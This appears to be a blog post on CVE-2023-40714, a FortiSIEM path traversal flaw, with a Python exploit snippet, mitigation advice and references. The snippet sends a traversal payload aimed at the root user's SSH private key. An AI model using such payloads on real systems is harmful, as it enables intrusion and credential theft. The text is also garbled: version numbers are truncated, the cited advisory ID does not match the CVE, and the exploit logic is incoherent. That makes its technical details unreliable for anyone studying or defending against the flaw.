The vulnerability identifier, CVE-2023-40714, has been assigned to a critical relative path traversal flaw in Fortinet FortiSIEM software. In impacted FortiSIEM versions 7.., 6.7. through 6.7.2, 6.6. through 6.6.3, 6.5.1, and 6.5., an attacker can exploit the vulnerability to escalate their privileges within the system. In this long-read post, we'll dive deep into the exploitation details, code snippets, and original references associated with CVE-2023-40714.

Exploit Details

At its core, the vulnerability allows an attacker to manipulate file paths to traverse the file directory and upload certain Graphical User Interface (GUI) elements to the target system. By doing so, the attacker can escalate their privileges within the system and gain unauthorized access to sensitive information and system resources.

The exploit takes advantage of a lack of proper input validation in the affected FortiSIEM versions when processing user-supplied data. As a result, the attacker can use specially crafted file path inputs to navigate outside the intended directory, thus reaching sensitive files and directories.

Code Snippet

An example of an exploit that uses the directory traversal vulnerability in affected FortiSIEM versions is shown below:

import requests

target_url = "https://target-ip-address/path/to/vulnerable/endpoint";

# A sample payload with a relative path traversal
payload = {
    "file_path": "../../../../../../root/.ssh/id_rsa",  # A traversal path to access the root user's SSH private key
    "file_content": "attacker's_GUI_element_content"  # The content of the file to be uploaded
}

# Sending a POST request with the payload to the vulnerable endpoint
response = requests.post(target_url, data=payload, verify=False)

if response.status_code == 200:
    print("[+] Exploit successful")
else:
    print("[-] Exploit failed")

Original References

Fortinet has acknowledged the vulnerability and provided the following links with detailed information about the affected products, mitigation measures, and patch updates.

1. Fortinet Advisory: FG-IR-21-027 (Fortinet)
2. CVE Details Page: CVE-2023-40714 (NVD)
3. Mitre CVE Details: CVE-2023-40714 (Mitre)

Mitigation Measures

Fortinet has released a security patch to address the vulnerability. Users of affected FortiSIEM versions are advised to apply the patch as soon as possible to avoid potential exploits. Find the patch and installation instructions on Fortinet's official product support page.

Conclusion

CVE-2023-40714 highlights the importance of proper input validation and secure code implementation. By understanding this exploit, security professionals can learn to better protect their systems from similar risks. It's crucial to keep software up-to-date and apply security patches as they become available, minimizing the risk of exploitation.

Timeline

Published on: 04/02/2025 08:15:13 UTC
Last modified on: 04/02/2025 14:58:07 UTC